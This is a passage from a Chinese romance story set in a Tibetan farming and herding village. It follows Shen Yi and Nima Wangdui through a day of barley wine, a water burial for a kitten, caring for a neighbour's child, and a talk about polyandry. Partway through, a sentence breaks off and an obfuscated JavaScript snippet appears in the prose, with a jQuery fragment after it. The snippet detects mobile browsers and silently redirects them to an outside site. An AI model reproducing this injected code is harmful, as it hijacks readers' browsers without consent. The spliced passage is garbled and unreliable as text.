尼玛旺堆没再坚持，他放下布袋，跟上去，直到看着老人坐稳、车子发动，才转身往回走。沈翊下意识朝他迈步，想问问那袋子里是什么。
“小心——！”
尼玛旺堆的喊声与溅起的水声几乎同时抵达。沈翊只觉得小腿一凉，低头看去，裤腿已染上一片污黑的泥点。刚才只顾着看尼玛旺堆和老人，没留意脚下一个小水洼。
尼玛旺堆几步冲到他跟前，毫不犹豫地蹲下，伸手就去拧他湿透的裤脚。他的动作有些急，手指隔着湿冷的布料，不可避免地触碰到沈翊的皮肤。那触感温热而粗糙，带着常年劳作留下的力度。
沈翊僵在原地，低头只能看见尼玛旺堆浓密的发顶和专注的侧脸。空气仿佛静止了，只剩下布料被拧绞的细微声响，以及他自己骤然加快的心跳。他该说点什么，比如“没事”、“我自己来”，但喉咙像是被什么堵住了。
尼玛旺堆很快拧干了水，站起身。四目相对的一瞬，沈翊看到他眼里还残留着未褪去的紧张，随即那紧张化为了然和一丝不易察觉的……懊恼？或许是为自己的疏忽。
“先去那边坐会儿。”尼玛旺堆移开视线，声音恢复了平时的平稳，指向之前老人歇脚的地方。
他走到摩托车旁，从厢子里拿出一卷色彩鲜艳的毡毯，利落地铺在相对干燥的地面上，示意沈翊坐下。接着，他指了指沈翊的鞋。沈翊顺从地脱下湿漉漉的鞋袜，尼玛旺堆接过去，仔细地摆放在一旁的栏杆上，让午后的阳光能晒到。
做完这一切，他才拿起那个布袋，掏出一个用大号饮料瓶装着的液体。瓶子在阳光下泛着微光，里面的液体略显浑浊，浸泡着饱满的青稞粒，呈现出一种介于乳白和米黄之间的柔和色泽。
“尝尝？”尼玛旺堆晃了晃瓶子，看向沈翊。
“这是？”
“青稞酒。”他回答得干脆，以及变魔术般拿出一个木碗。他先在碗底铺了一层糌粑，又在碗沿捏了个小小的糌粑三角，然后才小心地打开瓶盖。气泡“噗”地涌出，溅出几滴，空气里立刻弥漫开一股浓郁而独特的发酵气息。
他稳稳地倒满一碗，随即伸出右手的无名指，在酒面轻轻一蘸，接着抬手，庄重而迅速地朝天空弹了三下。做完这些，他才将碗递给沈翊，语气带着点歉然：“没带多余的碗，不嫌弃的话。”
沈翊双手接过，笑着道，“不嫌弃的”。碗里的糌粑被酒液浸泡得微微浮起，像一层细腻的泡沫。他迟疑了一瞬，看着尼玛旺堆坦荡期待的眼神，心一横，低头浅浅抿了一口。
一股强烈、醇厚、甚至带着些粗粝感的苦涩瞬间席卷了味蕾，沈翊的眉头不受控制地紧紧拧在一起。他强忍着咽下，喉间被苦涩充满。
尼玛旺堆一直看着他，见状立刻伸手接过碗，不解的就着沈翊喝过的地方，喝了一大口。他的眉毛也拧了起来，随即却笑了，笑容里有种了然和无奈：“这是老人喝的酒，劲儿大，还苦。我们喝不惯。”他语气自然，仿佛共享一个碗是再平常不过的事。
沈翊看着他沾着酒渍的嘴唇开合，耳根有些发热，忙借着掏手机的动作掩饰：“卖相很好，拍一张。”他胡乱拍了几张照片，阳光下的青稞酒瓶和那只古朴的木碗，竟有种拙朴的美感。
尼玛旺堆笑着，又把碗倒满，递给他：“再拍这个？”
沈翊摆手，忍不住也笑了。
尼玛旺堆不再勉强，拿起瓶子走向不远处的牛群。不知他从哪儿变出一个小桶，将酒倒了进去，放在几头牛面前。一头白色的小牛犊凑过来，试探地嗅了嗅，便低头畅饮起来，喝完了还不肯走，用脑袋蹭着桶边。尼玛旺堆笑着轻轻推开它，把桶挂到一棵矮树的枝桠上。
就在这时，之前遇到的那位妇人从侧面快步走来，对尼玛旺堆说了几句藏语，神情有些急切。尼玛旺堆认真听着，用力点头，然后回头朝沈翊喊了句：“我马上回来！”便跟着妇人匆匆往栏杆外走去。
沈翊看着他们走远，那妇人几乎是拉着尼玛旺堆的手臂，脚步飞快。他独自坐在毡毯上，四周是空旷的湿地和安静的牛群，一种微妙的、被留下的感觉悄然滋生。他甩甩头，觉得自己有些矫情。
没过多久，尼玛旺堆就回来了，手里拿着另一个瓶子，里面的液体清澈许多。“硬塞给我的，”他晃了晃瓶子，有点无奈，但眼里带着光，“这个好，适合我们喝。”
他倒掉之前那碗苦涩的酒，用袖子随意擦了擦碗，再去傍边的清水洗一下，重新斟满新的。这次他自己先尝了一口，眯了眯眼，点点头，才把碗递给沈翊。
沈翊看着那碗沿，方才两人嘴唇先后碰过的地方，心跳又乱了一拍。他接过来，在尼玛旺堆明亮的注视下，小心地喝了一口。口感截然不同，微甜，醇和，带着青稞特有的香气，顺着喉咙滑下，暖意缓缓扩散开。
“好喝。”沈翊真心实意地说，声音比平时柔和了些。
尼玛旺堆眼睛更亮了，自己也喝了一大口，品了品：“嗯，这大概是酿造时，第三道的酒，最顺口。”
冬日的阳光斜照在身上，暖融融的。他们并肩坐在毡毯上，远处有流浪狗和小牛犊在嬉戏打闹，时光缓慢得如同身边流淌的年楚河水。
宁静被一阵电动车的声音打破。一个看上去不过十几岁的女孩，小心翼翼地从车上下来，手里捧着一个用哈达包裹的小包袱，另一只手提着沈翊在尼玛旺堆家见过的、那种装香料和糌粑的布袋。她脚步很轻，朝着河边走去。
沈翊心里一紧，下意识看向尼玛旺堆。尼玛旺堆只是瞥了一眼，轻轻摇了摇头，示意他别动。女孩走到年楚河边，熟练地踏上一块凸出水面的石头，蹲下身，取出牛粪和香料，开始焚烧，低声念诵着什么。
烟雾袅袅升起。
沈翊忽然明白了什么，屏住了呼吸。他看见女孩打开哈达，里面露出一只小小的、显然已经死去多时的小猫。她动作轻柔地，将那个小小的躯体放入河中。水流带着它缓缓漂远，女孩站在石头上，久久凝望，直到它变成视线尽头一个模糊的黑点，才双手合十，默默祈祷了片刻，添了些香料，转身离去。
整个过程寂静而庄重。
沈翊第一次亲眼目睹这样的“水葬”，为一只猫。
没有哭泣，没有喧哗，只有一种近乎神圣的平静送别。他心里堵着什么，沉甸甸的，却又奇异地感到一种释然。他转过头，发现尼玛旺堆正静静地看着他，目光深邃，仿佛理解他所有的震撼与沉默。
夕阳西下时，湿地开始热闹起来。人们陆续赶来，用绳子或轻声吆喝，领着自家的牛回家。牛群似乎也懂得归家的信号，亲昵地跟在主人身后。喧嚣随着最后一抹晚霞散去，偌大的湿地只剩下他们两人，和一群不愿离去的健壮牦牛。
尼玛旺堆仔细关好栏杆门。沈翊穿上已被晒得暖烘烘的鞋子，再次坐上摩托车后座。
来时他小心保持着距离，此刻，疲惫和某种难以言喻的心绪让他松懈下来。当尼玛旺堆为避开坑洼猛然加速时，沈翊的身体因惯性向前倾，胸膛轻轻撞上对方的后背。
隔着厚厚的衣物，他依然能感受到那副身躯传来的温热和坚实的触感。尼玛旺堆似乎僵了一瞬，但没有说话，只是腰背挺得更直了些，仿佛为他提供了一个更稳定的依靠。
沈翊没有立刻拉开距离。寒风呼啸着掠过耳畔，他却觉得脸颊发烫。他悄悄地、极轻地，将额头抵在了尼玛旺堆的背上，闭上了眼睛。
前方，尼玛旺堆的嘴角，在呼啸的风中，几不可察地向上弯了一下。他握紧车把，将摩托车开得越发平稳，向着家的方向，向着那片炊烟即将升起的土地，稳稳驶去。
回家路上，经过一片农田，一位大姐正穿着防水靴引水冬灌。
“阿佳尼玛！”尼玛旺堆扬声喊道，用的是藏语昵称。
对方大声回应，声音在暮色中传得很远。尼玛旺堆缓慢停下车，对沈翊说：“等我一下，很快。”
他跑向田边，跟大姐说了几句，不一会儿，竟抱着一个七八岁大的男孩回来了。孩子脸颊冻得通红，像两颗小苹果，眼睛却亮晶晶的。尼玛旺堆把他放在自己身前坐好，用藏语叮嘱着什么，孩子乖巧地点头，然与沈翊面
对面，小孩好奇地打量着被裹得严严实实的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182986|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈翊。
“哥哥，”他用带着浓重口音的汉语说，咧开嘴，露出两颗可爱的虎牙，“你长得真白。”
沈翊忍不住笑了，隔着围巾闷声说：“谢谢你，你也很可爱。”
“是帅气！”男孩立刻纠正，小脸一本正经。
“对，帅气。”沈翊从善如流。
男孩满意了，又带着点小骄傲说：“我是家里最帅的！只有我敢在晚上陪阿妈出来！”
沈翊心头微动，轻声问：“那爸爸呢？”
男孩眨了眨眼，笑容淡了些，似乎不知该如何回答。这时，尼玛旺堆的声音插了进来，同时用藏语和汉语说：“抓紧我，前面路陡。”
接下来的土路布满细沙，摩托车速度放得很慢。尼玛旺堆一手稳着车把，另一只手下意识地护住身前男孩的后背上。沈翊看着他的背影，宽阔的肩膀仿佛能为身前身后的人都挡去风寒。一种混合着柔软与酸涩的情绪，悄然漫上心头。
到家时，男孩已在尼玛旺堆怀里睡得香甜。阿妈米玛啦还没睡，坐在温暖的火炉边，一手捻佛珠，一手摇转经筒，低声诵经。见他们回来，她立刻放下手中的东西，迎上来，先是慈爱地接过熟睡的孩子，安顿在铺着厚厚羊毛垫的床上，盖好被子，然后才为他们倒上滚烫的酥油茶。
茶香、藏香、还有屋里暖融融的气息包裹上来。沈翊安静地坐在火炉边，听着阿妈米玛啦用藏语轻声细语地与儿子交谈，那声音柔软而绵长，像一首他听不懂却倍感安心的歌。今晚的面食据说是尼泊尔来的，形状有趣，汤汁鲜美。
深夜，洗漱完毕，沈翊终于忍不住问：“那孩子……是亲戚？”
“不是。”尼玛旺堆摇摇头，把香炉仔细放进床褥深处，“村里一户人家的。男人常年在外打工，家里就女人一个人撑着，忙里忙外。孩子还小，嘴上逞强，脚底却冰凉。碰上了，就带回来住一晚，暖和暖和。”
他顿了顿，声音在寂静的夜里更显清晰：“这地方，你也看到了，半农半牧，活儿多。有时候，一个家要立得住，光靠一个人，太难。”他话锋一转，提到了那个外界常带有猎奇眼光看待的习俗，语气平静得像在讨论天气，“所以以前会有‘一妻多夫’，大多是一个女人嫁给兄弟俩，一个外出挣现钱，一个留在家里操持农活牧事，互相帮衬着，把日子过下去。没那么神秘，也没那么……不堪。说到底，是在这片土地上活下去的一种法子。”
他看向沈翊，目光澄澈：“我姐姐不愿结婚，很多这里的姑娘也开始想走出去看看。留下来的，有的家里只有一个男人，女人的担子就重得喘不过气。能帮一点，是一点。”
沈翊静静地听着。他想起大学课堂上的争论，想起那个面红耳赤的藏族女同学。此刻，那些抽象的概念在尼玛旺堆真诚的叙述中，化为了具体的人，具体的生活，具体的挣扎与相濡以沫。他看到的不是奇观，而是生存的智慧与无奈。
“我明白。”沈翊说，声音很轻，却足够认真，“存在自有其缘由。尊重别人的生活，是最基本的。”
尼玛旺堆看着他，昏暗的光线下，他的眼睛格外明亮。过了几秒，他才轻轻点了点头，说：“谢谢。”
这声“谢谢”很轻，却沉甸甸地落在了沈翊心上。他知道，这不只是礼貌。在这一刻，他感到自己不再仅仅是一个被接待的客人，而是一个被允许窥见并试图理解这片土地复杂的同行者。而让他获得这份认可的桥梁，正是眼前这个看似粗犷、内心却如湖泊般深邃清澈温柔的青年。
期间，尼玛旺堆将暖床用的陶制香炉搬出来，搁在门口。他蹲在那儿添香，动作很轻，背脊的线条在昏暗光线下显得格外沉默。半晌，他忽然开口，声音不高，却像一块石头投入夜的深潭：“我总希望，以后的西藏姑娘，能活得自在些，想去哪儿就去哪儿，想怎么过就怎么过。”他顿了顿，手指无意识地摩挲着香炉边缘，“‘一妻多夫’……外面的人当奇闻看，可它就在那儿，像这山一样，是生活的一部分。我以前也天真，觉得过得不好，走就是了。后来才懂，一个女人，尤其是母亲，脚下拴着的不是绳子，是整座山。”